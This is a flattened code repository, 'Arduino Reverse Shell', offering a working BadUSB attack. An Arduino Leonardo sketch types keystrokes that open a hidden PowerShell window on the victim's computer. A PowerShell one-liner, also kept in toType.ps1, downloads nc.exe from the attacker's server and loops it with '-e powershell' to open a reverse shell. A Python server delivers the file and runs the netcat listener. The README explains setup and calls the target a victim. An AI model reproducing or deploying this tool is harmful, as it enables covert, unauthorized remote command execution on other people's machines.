├── .gitignore ├── server ├── nc.exe └── server.py ├── arduino_sketch ├── Reverser output.txt ├── Reverser.py ├── toType.ps1 └── arduino_sketch.ino └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /server/nc.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Bricktech2000/Arduino-Reverse-Shell/HEAD/server/nc.exe -------------------------------------------------------------------------------- /arduino_sketch/Reverser output.txt: -------------------------------------------------------------------------------- 1 | "}############################### !@`$%&<()*+,->#0123456789:;\\=|^#ABCDEFGHIJKLMNOPQRSTUVWXYZ###{_'abcdefghijklmnopqrstuvwxyz#~##" -------------------------------------------------------------------------------- /arduino_sketch/Reverser.py: -------------------------------------------------------------------------------- 1 | reversed = "################################ !`#$%&`()*+,-.é0123456789:;'=.É\"ABCDEFGHIJKLMNOPQRSTUVWXYZ^<¸?_#abcdefghijklmnopqrstuvwxyz^>¨|" #CAFR 2 | # reversed = "##########\n##################### !`/$%&`()*+,-.#0123456789:;'=.#\"ABCDEFGHIJKLMNOPQRSTUVWXYZ^<#?_#abcdefghijklmnopqrstuvwxyz^>¨|" #CMS 3 | # reversed = "##########\n###################### !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~" #US 4 | keyboard = [None] * len(reversed) 5 | for i, char in enumerate(reversed): 6 | keyboard[ord(char) if ord(char) <= 128 else 0] = chr(i) 7 | 8 | str = "" 9 | for char in keyboard: 10 | if char is not None: str += char 11 | else: str += "#" 12 | 13 | str = '"' + str.replace('\\', '\\\\').replace('\n', '\\n').replace('"', '\\"') + '"' 14 | open('Reverser output.txt', 'w').write(str) 15 | -------------------------------------------------------------------------------- /arduino_sketch/toType.ps1: -------------------------------------------------------------------------------- 1 | #this is the code that needs to be run by the BadUSB. 2 | #it opens powershell, downloads and runs netcat 3 | 4 | #https://community.idera.com/database-tools/powershell/ask_the_experts/f/learn_powershell_from_don_jones-24/22103/continuous-loop 5 | #https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/start-process?view=powershell-7.1 6 | 7 | [GUI r] 8 | 9 | #powershell -WindowStyle Hidden -c "$p = """$env:temp/nc.exe""";(New-Object System.Net.WebClient).DownloadFile("""http://localhost/""", $p);for(;;){start -NoNewWindow -Wait -PSPath $p -ArgumentList """localhost""","""81""","""-e""","""powershell"""}" 10 | powershell -WindowStyle Hidden [ENTER] 11 | $p = "$env:temp/nc.exe";(New-Object System.Net.WebClient).DownloadFile("http://localhost:54414/", $p);for(;;){start -NoNewWindow -Wait -PSPath $p -ArgumentList "localhost","47017","-e","powershell";sleep 1} [ENTER] [ENTER] 12 | [REPEAT WITH EVERY KEYBOARD LAYOUT] 13 | 14 | -------------------------------------------------------------------------------- /server/server.py: -------------------------------------------------------------------------------- 1 | #src: https://stackabuse.com/serving-files-with-pythons-simplehttpserver-module/ 2 | #multithreading: https://realpython.com/intro-to-python-threading/ 3 | 4 | import http.server 5 | import socketserver 6 | import subprocess 7 | import threading 8 | import time 9 | 10 | downloadPort = 54414 11 | listenerPort = 47017 12 | 13 | class HttpRequestHandler(http.server.SimpleHTTPRequestHandler): 14 | def do_GET(self): 15 | if self.path == '/': 16 | self.path = 'nc.exe' 17 | return http.server.SimpleHTTPRequestHandler.do_GET(self) 18 | else: return None 19 | 20 | def serverListen(): 21 | print('Starting Server...') 22 | try: 23 | PORT = downloadPort 24 | my_server = socketserver.TCPServer(("", PORT), HttpRequestHandler) 25 | print('Server started. Execute a second instance to run the Netcat listener.') 26 | my_server.serve_forever() 27 | except OSError: 28 | print('Server already running.') 29 | netcatListen() 30 | 31 | def netcatListen(): 32 | #https://www.hackingtutorials.org/networking/hacking-netcat-part-2-bind-reverse-shells/ 33 | #netcat download windows: https://eternallybored.org/misc/netcat/ 34 | print('Running Netcat listener...') 35 | subprocess.call('nc.exe -lvp ' + str(listenerPort), shell=True) 36 | 37 | #thr = threading.Thread(target=netcatListen, daemon=True) 38 | #thr.start() 39 | time.sleep(.1) 40 | serverListen() 41 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Arduino Reverse Shell 2 | 3 | _A simple reverse shell script using an Arduino Leonardo_ 4 | 5 | ## Overview 6 | 7 | Below is a basic overview of the functionnality of this project: 8 | 9 | - A pre-programmed Arduino Leonardo board is plugged into a computer, which runs commands by emulating a USB keyboard 10 | - Netcat gets downloaded and executed on the target computer, which then tries to connect to a predefined server 11 | - The server listens for Netcat connections and when one is found, a tunnel is created to allow the host to send commands to the victim computer 12 | 13 | ## Requirements 14 | 15 | - Python 3 16 | - Netcat installed under `Arduino Reverse Shell\server\nc.exe` 17 | - Arduino IDE 18 | - An ATMEGA32U4-based arduino board (such as the Arduino Leonardo or the Arduino Beetle ATMEGA32U4) 19 | 20 | ## Port Setup 21 | 22 | If you wish to do so, you can edit the ports used for communication between the victim and the server. The default ones are `54414` for the HTTP download and `47017` for the Netcat listener. If you wish to edit them, make sure to change them in both `Arduino Reverse Shell\server\server.py` and `Arduino Reverse Shell\arduino_sketch\arduino_sketch.ino` for the client-server synchronization to work. 23 | 24 | ## Host Setup 25 | 26 | Before using this program, you must edit the server host in `Arduino Reverse Shell\arduino_sketch\arduino_sketch.ino`. The default value is `localhost`, but you need to replace it with a static server ip or a domain name pointing to your server. This will make sure that the Arduino Leonardo will connect to the right host when performing the reverse shell attack. 27 | 28 | ## Uploading to the Arduino 29 | 30 | 1. Open up `Arduino Reverse Shell\arduino_sketch\arduino_sketch.ino` in the Arduino IDE 31 | 2. Select `Arduino Leonardo` under `Boards` 32 | 3. Upload the sketch from the Arduino IDE 33 | 4. Plug in the Arduino Leonardo Board and make sure the code gets uploaded successfully 34 | 35 | The Arduino Leonardo board is now ready. It can be plugged into any computer and it will execute its preprogrammed script, which downloads Netcat and tries to connect on the specified host and port. 36 | 37 | If you wish to do so, a small script called `Reverser.py` can be used to add more keyboard layouts to the Arduino Leonardo program. 38 | 39 | ## Server Setup 40 | 41 | To boot up the server, run the `server.py` script under `Arduino Reverse Shell\server\server.py`. To start the Netcat listener, run a second instance of the `server.py` script, which should automatically detect that the first instance is already running. This is the interface that will allow the host to run any Powershell command remotely. 42 | -------------------------------------------------------------------------------- /arduino_sketch/arduino_sketch.ino: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | const unsigned char server[] = "localhost"; 4 | const unsigned char downloadPort[] = "54414"; 5 | const unsigned char listenerPort[] = "47017"; 6 | 7 | //uncomment this line to use the 'printAll' function 8 | //#define PRINTALL 9 | //uncomment this line to define a custom built-in LED 10 | //#define LED_BUILTIN 13 11 | 12 | //below output was produced using 'Reverser.py' and the 'printAll' function 13 | const unsigned char CMS[129] PROGMEM = "##########\n##################### !>~$%&<()*+,-.`0123456789:;#=#^@ABCDEFGHIJKLMNOPQRSTUVWXYZ##[_#abcdefghijklmnopqrstuvwxyz#####"; 14 | const unsigned char US[129] PROGMEM = "##########\n##################### !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~"; 15 | const unsigned char CAFR[129] PROGMEM = "}#########\n##################### !@`$%&<()*+,->#0123456789:;\\=|^#ABCDEFGHIJKLMNOPQRSTUVWXYZ###{_'abcdefghijklmnopqrstuvwxyz#~##"; 16 | 17 | //modifier keys: https://www.arduino.cc/en/Reference/KeyboardModifiers 18 | //modifier example: https://www.arduino.cc/reference/en/language/functions/usb/keyboard/keyboardpress/ 19 | 20 | //note: 'smartPrint' has to be modified if the layouts used are modified 21 | const unsigned int keyboardsLength = 3; 22 | const unsigned char* const keyboards[keyboardsLength] = {CAFR, US, CMS}; 23 | 24 | //Win + R 25 | const unsigned char STR0[] = "powershell -WindowStyle Hidden"; //"powershell"; //Ctrl + Shift + Enter 26 | const unsigned char STR1[] = "$p = \"$env:temp/nc.exe\";(New-Object System.Net.WebClient).DownloadFile(\"http://"; //[server] 27 | const unsigned char STR2[] = ":"; //[downloadPort] 28 | const unsigned char STR3[] = "/\", $p);for(;;){start -NoNewWindow -Wait -PSPath $p -ArgumentList \""; //[server] 29 | const unsigned char STR4[] = "\",\""; //[listenerPort] 30 | const unsigned char STR5[] = "\",\"-e\",\"powershell\";sleep 1}\n\n"; 31 | 32 | //smartPrint is a function made to support multiple keyboard layouts 33 | void smartPrint(const unsigned char string[], int keyboard){ 34 | for (int c = 0; c < strlen(string); c++){ 35 | char toPrint; 36 | if (string[c] >= 128 || keyboard >= keyboardsLength) toPrint = '#'; 37 | else toPrint = pgm_read_byte_near(keyboards[keyboard] + string[c]); 38 | 39 | //special cases, to be modified if the 'keyboards' array is modified 40 | //CMS 41 | if(string[c] == '[' && keyboard == 2) printCtrlAlt('9'); // 9 42 | else if(string[c] == ']' && keyboard == 2) printCtrlAlt('0'); // 0 43 | else if(string[c] == '{' && keyboard == 2) printCtrlAlt('7'); // 7 44 | else if(string[c] == '}' && keyboard == 2) printCtrlAlt('8'); // 8 45 | //CAFR 46 | //https://www.usb.org/sites/default/files/documents/hut1_12v2.pdf p. 54 at [ and ] 47 | else if(string[c] == '[' && keyboard == 0) printCtrlAlt(47); // ^ 48 | else if(string[c] == ']' && keyboard == 0) printCtrlAlt(48); // ¸ 49 | //https://www.usb.org/sites/default/files/documents/hut1_12v2.pdf p. 54 at { and } 50 | else if(string[c] == '{' && keyboard == 0) printCtrlAlt(52); // ` 51 | else if(string[c] == '}' && keyboard == 0) printCtrlAlt(49); // < 52 | else Keyboard.write(toPrint); 53 | delay(5); 54 | } 55 | } 56 | //a function to send Ctrl + Alt + key 57 | template 58 | void printCtrlAlt(T key){ 59 | Keyboard.press(KEY_LEFT_CTRL); 60 | Keyboard.press(KEY_LEFT_ALT); 61 | Keyboard.write(key); 62 | Keyboard.release(KEY_LEFT_CTRL); 63 | Keyboard.release(KEY_LEFT_ALT); 64 | } 65 | //a function to send Ctrl + Shift + key 66 | template 67 | void printCtrlShift(T key){ 68 | Keyboard.press(KEY_LEFT_CTRL); 69 | Keyboard.press(KEY_LEFT_SHIFT); 70 | Keyboard.write(key); 71 | Keyboard.release(KEY_LEFT_CTRL); 72 | Keyboard.release(KEY_LEFT_SHIFT); 73 | } 74 | 75 | 76 | void setup(){ 77 | Keyboard.begin(); 78 | #ifdef PRINTALL 79 | delay(1500); 80 | 81 | //print all characters to get the reversed keyboard array for a specific keyboard 82 | for (char c = 0; c < 32; c++) Keyboard.print('#'); 83 | for (char c = 32; c < 128 - 1; c++) Keyboard.print(c); 84 | #else 85 | pinMode(LED_BUILTIN, OUTPUT); 86 | digitalWrite(LED_BUILTIN, LOW); 87 | 88 | delay(1000); 89 | //Windows+R 90 | Keyboard.press(KEY_LEFT_GUI); 91 | Keyboard.write('r'); 92 | Keyboard.release(KEY_LEFT_GUI); 93 | delay(250); 94 | //run Powershell as administrator 95 | //for some reason we can still type in a hidden Powershell window... 96 | smartPrint(STR0, 0); 97 | printCtrlShift('\n'); 98 | delay(1500); 99 | Keyboard.write(KEY_LEFT_ARROW); 100 | delay(100); 101 | Keyboard.write('\n'); 102 | delay(2000); 103 | //type in the payload 104 | for(int k = 0; k < keyboardsLength; k++){ 105 | smartPrint(STR1, k); 106 | smartPrint(server, k); 107 | smartPrint(STR2, k); 108 | smartPrint(downloadPort, k); 109 | smartPrint(STR3, k); 110 | smartPrint(server, k); 111 | smartPrint(STR4, k); 112 | smartPrint(listenerPort, k); 113 | smartPrint(STR5, k); 114 | //blink the built-in LED to signal that a payload has been sent 115 | digitalWrite(LED_BUILTIN, HIGH); 116 | delay(50); 117 | digitalWrite(LED_BUILTIN, LOW); 118 | } 119 | 120 | //turn on the built-in LED to show that the operation completed successfully 121 | digitalWrite(LED_BUILTIN, HIGH); 122 | #endif 123 | } 124 | 125 | void loop(){} 126 | --------------------------------------------------------------------------------